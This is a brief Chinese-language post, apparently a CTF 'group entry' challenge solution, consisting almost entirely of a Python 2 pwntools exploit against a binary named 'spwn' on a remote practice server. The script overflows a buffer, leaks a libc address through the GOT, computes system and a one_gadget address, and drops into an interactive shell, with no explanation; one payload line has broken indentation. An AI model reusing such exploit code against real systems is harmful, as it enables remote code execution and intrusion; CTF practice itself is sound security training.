某入群题

不好讲就是入群题
exp:

#! /usr/bin/python2
from pwn import *
from LibcSearcher import *
local=0
if local==1:
	p=process('../binary/spwn')
	elf=ELF('../binary/spwn')
	libc=elf.libc
else:
	p=remote('node3.buuoj.cn',29494)
	elf=ELF('../binary/spwn')
	libc=elf.libc
lg=lambda address,data:log.success('%s'%(address)+hex(data))
def exp():
	main=0x08048513
	p.recvuntil('?')
	payload='a'*4
	p.send(payload)
	ret=0x08048512
	p.recvuntil('say?')
	payload1='a'*0x10+p32(1)+'2'*4+p32(20)+p32(main)
	p.send(payload1)
	p.recvuntil('name?')
	p.send('bbbb'+p32(0)+p32(main))
	p.recvuntil('say?')
payload2='b'*0x10+p32(elf.got['__libc_start_main'])+'2'*4+p32(0x804A300)+p32(0x080484BC)
	p.send(payload2)
	libc_main=u32(p.recvuntil('\xf7')[-4:])-247
	libcbase=libc_main-libc.sym['__libc_start_main']
	lg('libcbase: ',libcbase)
	bin_sh=libcbase+libc.search('/bin/sh').next()
	one_gadget=libcbase+0x3a80c
	system=libcbase+libc.sym['system']
	p.send(p32(bin_sh)+p32(one_gadget))
	p.recvuntil('say?')
	p.send('aa')
	p.interactive()

if __name__=="__main__":
	exp()